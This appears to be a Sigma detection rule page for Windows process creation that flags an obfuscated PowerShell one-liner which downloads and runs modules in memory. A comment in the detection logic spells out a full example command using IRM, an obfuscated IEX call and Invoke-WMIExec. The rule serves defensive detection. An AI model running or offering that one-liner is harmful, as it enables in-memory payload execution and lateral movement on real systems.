Detectionhightest

Obfuscated PowerShell OneLiner Execution

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

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kostastsale, TheDFIRReportCreated Mon May 09Updated Wed Apr 1644e24481-6202-4c62-9127-5a0ae8e3fe3dwindows

Log Source

WindowsProcess Creation

ProductWindows← raw: windows

CategoryProcess Creation← raw: process_creation

Events generated when a new process is spawned on the system. Covers command-line arguments, parent/child relationships, and process metadata.

Detection Logic

detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection